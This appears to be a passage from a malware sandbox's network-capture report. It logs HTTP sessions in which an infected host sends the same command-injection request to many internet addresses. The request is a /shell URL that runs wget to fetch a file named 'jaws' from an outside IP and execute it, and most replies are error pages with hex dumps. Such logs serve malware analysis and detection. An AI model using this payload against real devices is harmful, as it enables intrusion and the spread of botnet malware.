74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	46500	23.3.57.124	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.066559076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:22.291474104 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:22 GMT Date: Tue, 02 Jan 2024 05:25:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 36 36 37 34 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 32 32 26 23 34 36 3b 38 64 61 63 37 35 63 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.46674217.1704173122.8dac75cd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	60650	104.97.11.24	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.089353085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:22.336949110 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:22 GMT Date: Tue, 02 Jan 2024 05:25:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 35 61 63 31 37 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 31 32 32 26 23 34 36 3b 66 31 32 35 62 34 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.35ac1702.1704173122.f125b47</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	45270	121.143.178.82	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.173558950 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:23.716979980 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.540738106 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.220201015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:36.643143892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	45268	121.143.178.82	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.174762011 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:23.716989994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.540713072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.220216036 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:36.643142939 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	48672	114.55.243.176	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.179481030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:23.748966932 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:24.052572012 CET	421	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.12.2 Date: Tue, 02 Jan 2024 05:25:23 GMT Content-Type: text/html Content-Length: 195 Connection: keep-alive WWW-Authenticate: Basic realm="Apache Flink Dashboard" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	51812	103.21.117.22	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:22.210601091 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:23.940917015 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:26.148611069 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.244026899 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.434876919 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	60248	107.158.48.173	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:24.657250881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:24.778176069 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	50826	37.221.198.86	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:24.777893066 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.026772022 CET	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:25:24 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	47672	104.114.164.49	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.169173956 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.312587976 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:25 GMT Date: Tue, 02 Jan 2024 05:25:25 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 35 62 63 37 37 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 31 32 35 26 23 34 36 3b 62 34 35 65 66 35 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.65bc7768.1704173125.b45ef54</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	35322	173.242.127.81	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.176698923 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.328879118 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 02 Jan 2024 05:25:25 GMT Content-Type: text/html Content-Length: 3650 Connection: keep-alive ETag: "636d2d22-e42" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 34 31 37 32 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: normal; font-size: 1.75em; border-bottom: 2px solid #000
Jan 2, 2024 06:25:25.328891039 CET	1286	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 Data Ascii: ; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #3C6EB4; font-siz
Jan 2, 2024 06:25:25.328902006 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: <h3>The page you are looking for is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpag
Jan 2, 2024 06:25:25.328911066 CET	18	IN	Data Raw: 68 74 6d 6c 3e 0a Data Ascii: html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	38972	209.240.113.203	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.193435907 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.436887980 CET	443	IN	HTTP/1.1 404 Not Found Server: micro_httpd Cache-Control: no-cache Date: Tue, 02 Jan 2024 00:25:24 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 75 74 69 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 27 6c 6f 67 6f 75 74 32 28 29 27 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><script language="javascript" src="util.js"></script></HEAD><BODY onLoad='logout2()' BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	59544	149.155.143.62	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.272485018 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	47612	111.87.115.153	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:25.281636000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:25.537817955 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:25 GMT Server: Apache Vary: Accept-Encoding Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	54538	62.244.41.147	80

Timestamp	Bytes transferred	Direction	Data
